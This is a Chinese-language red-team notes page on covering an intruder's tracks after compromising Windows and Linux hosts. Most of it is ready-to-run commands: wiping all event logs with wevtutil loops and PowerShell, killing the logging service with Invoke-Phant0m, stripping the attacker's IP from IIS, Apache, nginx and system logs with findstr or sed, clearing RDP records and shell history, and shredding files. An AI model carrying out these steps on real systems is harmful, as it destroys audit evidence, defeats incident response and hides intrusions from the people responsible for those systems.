8.痕迹清理

1. windwos痕迹清理

1.1. windows日志

1.1.1. 系统日志

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃

c:\windows\system32\winevt\Logs\System.evtx
%SystemRoot%\System32\Winevt\Logs\System.evtx

1.1.2. 应用程序日志

包含应用程序或系统程序记录的事件,主要记录程序运行方面的事件

c:\windows\system32\winevt\Logs\Application.evtx
%SystemRoot%\System32\Winevt\Logs\Application.evtx

1.1.3. 安全日志

记录系统的安全审计事件,包含各种类型的登陆日志、对象访问日志、进程追踪日志、特权使用、账号管理、策略变更和系统事件。

c:\windows\system32\winevt\Logs\Security.evtx
%SystemRoot%\System32\Winevt\Logs\Security.evtx

id 4624 为rdp链接登陆成功 , 可以看到客户端的ip , 可排查爆破rdp的攻击者ip
id 4625 为rdp链接登陆失败

1.2. windows日志清理

最简单粗暴的图形化方式,开始→运行, 输入 eventvwr 进入事件查看器,右边栏选择清除日志
Pasted image 20250428124630.png

powershell命令一键清除

PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | %{Wevtutil.exe cl $_.Logname}}"

msf 清除日志命令

clearev

wevtutil+for循环清除所有日志
Wevtutil 是用来查看事件的系统工具,可以卸载事件清单,导出,归档和清除日志

for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"

杀死日志记录脚本
Phant0m 脚本是用来杀死日志服务的,在日志服务进程中检测并杀死负责事件日志服务的线程,这样日志服务虽然运行但没法记录日志(畅游无阻)

powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-Phant0m.ps1';Invoke-Phant0m}"

Pasted image 20250428124956.png
再次3389链接 , 你会发现 , 并没有日志记录

1.3. web日志清理

1.3.1. IIS日志

默认windows server 2012 没有安装IIS , 需要在服务器中添加IIS角色 , 一路默认即可
Pasted image 20250428125021.png
iis默认会每天记录一次日志,能记录下我们详细的入侵过程
%SystemDrive%\inetpub\logs\LogFiles
Pasted image 20250428125031.png
在该目录下删除指定日期的日志
如果无法删除文件,首先需要停止w3svc服务,再删除即可

net stop w3svc

//完事再启动就行:
net start w3svc

不同的 Win版本iis日志路径不一样,这里列出几个

C:\Windows\System32\LogFiles     # win_s_2003

C:\inetpub\logs\LogFiles                # win_s_2008r2

%SystemDrive%\inetpub\logs\LogFiles      # win_s_2012r2

推荐

findstr /v 192.168.233.12 u_ex240312.log  > u_ex240312_new.log  # 排除hack ip , 把剩余的日志追加到一个新文件

net stop w3svc
del  u_ex240312.log
rename  u_ex240312_new.log u_ex240312.log
net start w3svc

1.3.2. apache日志

apache默认日志在安装目录下的logs目录中。
访问日志:access.log 默认不开启, 需要打开conf\httpd.conf文件,搜索 CustomLog,取消注释错误日志:error.log
Pasted image 20250428125148.png
删除指定行

findstr /v 192.168.101.23 access.log  >  access_new.log
del  access.log
rename  access_new.log access.log

findstr /v 192.168.101.23 error.log  >  error_new.log
del  error.log
rename  error_new.log error.log

删除含有 192.168.101.23 的行

批处理

@echo off
set /p ip=input a ip:
findstr /v %ip% access.log  >  access_new.log
del  access.log
rename  access_new.log access.log

findstr /v  %ip% error.log  >  error_new.log
del  error.log
rename  error_new.log error.log

echo "apache日志清理完成"
pause
exit 0

修改版本, 修改ip为自己的出口ip地址

@echo off
set ip=192.168.6.12
findstr /v %ip% access.log  >  access_new.log
del  access.log
rename  access_new.log access.log

findstr /v  %ip% error.log  >  error_new.log
del  error.log
rename  error_new.log error.log

1.3.3. nginx日志

nginx默认日志在安装目录下的logs目录中。
访问日志:access.log
错误日志:error.log
Pasted image 20250428125302.png
删除指定行

findstr /v 192.168.101.23 access.log  >  access_new.log
del  access.log
rename  access_new.log access.log

findstr /v 192.168.101.23 error.log  >  error_new.log
del  error.log
rename  error_new.log error.log

删除含有 192.168.101.23 的行

# 查看ip是否在文本中存在
findstr 192.168.101.23 access.log 

1.3.4. 3389登陆记录清除

如果你使用已经拿下的目标器上的mstsc , 连接内网其他机器的3389 , 就会在当前的机器上保存3389的连接记录, 这个就是你的攻击路径,这也是一个需要清理的地方。
Pasted image 20250428125432.png
批处理文件 3389.bat

@echo off
@reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f ( win2012不存在 )
@del "%USERPROFILE%\Documents\Default.rdp" /a
@exit

del "%USERPROFILE%\Documents\Default.rdp" /a    # 默认只能删除当前用户

# 实战中如果不记得那个用户了 , 来到每个用户的家目录下都删除一下 

1.3.5. 清除recent

直接打开 %userprofile%\Recent 并删除所有内容
Pasted image 20250428125503.png

1.3.6. 常见工具文件

  1. 不用的webshell 文件
  2. 不用的落地c2上线马,exe马
  3. 内网代理工具, 代理工具配置删除
  4. fscan(result.txt)类似的内网扫描工具的默认保存文件

2. linux痕迹清理

2.1. linux日志

日志文件路径 记录内容描述 查看命令
/var/log/btmp 记录所有登录失败信息(可用于分析SSH爆破IP) lastb
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志 lastlog
/var/log/wtmp 记录所有用户的登录、注销信息(可查看成功登录的IP) last
/var/log/utmp 记录当前已登录的用户信息 w, who, users
/var/log/secure 记录与安全相关的日志信息(如SSH登录、sudo操作等) cat, grep, journalctl
/var/log/messages 记录系统启动后的通用信息和错误日志(内核、服务日志等) cat, tail, less

2.2. 日志清理

清除目标 命令 注意事项
登录失败记录​ (btmp) echo > /var/log/btmp root 权限,lastb 将显示空结果。
登录成功记录​ (wtmp) echo > /var/log/wtmp 清除后 last 命令无输出,可能影响审计。
用户最后一次登录时间 echo > /var/log/lastlog lastlog 命令重置为从未登录状态。
当前登录用户信息​ (utmp) echo > /var/log/utmp 正在登录的用户不受影响,重启后生效。
安全日志​ (secure) cat /dev/null > /var/log/secure 部分系统为 /var/log/auth.log,需确认路径。
系统日志​ (messages) cat /dev/null > /var/log/messages Debian/Ubuntu 系统对应 /var/log/syslog,清除后需重启服务或系统生效。

推荐的清除方案 , 只清除指定ip的记录

cd /var/log/
grep -r 192.168.6.105    # 递归的查找日志中包含192.168.6.105的文件

#删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip,以message举例,只要是日志都可以这样操作
sed -i '/192.168.6.105/d' /var/log/messages

#全局替换时间或者ip等关键字
sed -i 's/192.168.6.105/192.168.6.106/g'  /var/log/messages    #    个人 vps   原内容     替换后的内容

2.3. web日志清理

2.3.1. apache

安装后的文件路径:
/etc/httpd/conf/httpd.conf      # 主配置文件
/var/www/html                   # 默认网站家目录

设置开机启动
systemctl enable httpd

启动apache
systemctl start httpd

查看状态
systemctl status httpd

关闭防火墙
systemctl stop firewalld.service

搜索web日志文件 , 所在的路径

find / -type f -name "access_log"
find / -type f -name "error_log"

删除指定行

sed -i '/192.168.156.187/d' /var/log/httpd/access_log
sed -i '/192.168.156.187/d' /var/log/httpd/error_log

宝塔的默认日志路径
/www/wwwlogs

2.4. 清除历史命令

空格 命令,这样这条命令就不会记录在 history 里面了

# 清空命令历史文件 , 全部清除了 , 不推荐
echo > ~/.bash_history    ( 不推荐 )

#  bash本身就是一个进程,命令是怎么记录呢?在你退出bash进程的一瞬间,记录下命令 ( 推荐 )
#  kill -9 $$   不给当前的shell留时间去处理,内存的命令也就没时间写入到文件
kill -9 $$             

history -c        #清空内存中的命令历史

history -d 358    #删除358行历史记录

set +o history(y)   #设置当前shell内的命令不再进入日志中(这行命令会记录在history中)
set -o history    #设置当前shell内的重新进入日志中 (不会记录)

# 删除指定12行
sed -i "12d" .bash_history 
# 删除指定行  12-16行
sed -i "12,16d" .bash_history 

如果一不小心 , 或者必须会记录操作的恶意命令 , 如反弹shell , 那么进入到当前用户的家目录 , 找到 .bash_history 文件 , 使用 vim 编辑 , 并删除需要删除的命令 , 最后 kill -9 $$ 退出

2.5. 隐藏Vim操作记录

当我们使用 vim 时候,会在 ~/.viminfo 留下操作记录,建议使用 vi
或者手动清除

sed -i "24d" .viminfo #删除 .viminfo 文件的第 24 行。
sed -i "24,30d" .viminfo  #删除 .viminfo 文件的第 24 到 30 行

2.6. 文件覆写

# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数
# 文件
shred -f -u -z -v -n 4 1.txt            

#  wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件
# 文件夹
wipe -r /tmp/test

rm -rf /tmp/test      # 删除指定文件夹

攻防演练中一般删除一些自己在攻防中产生的新文件即可, 系统日志, web日志非必要不清理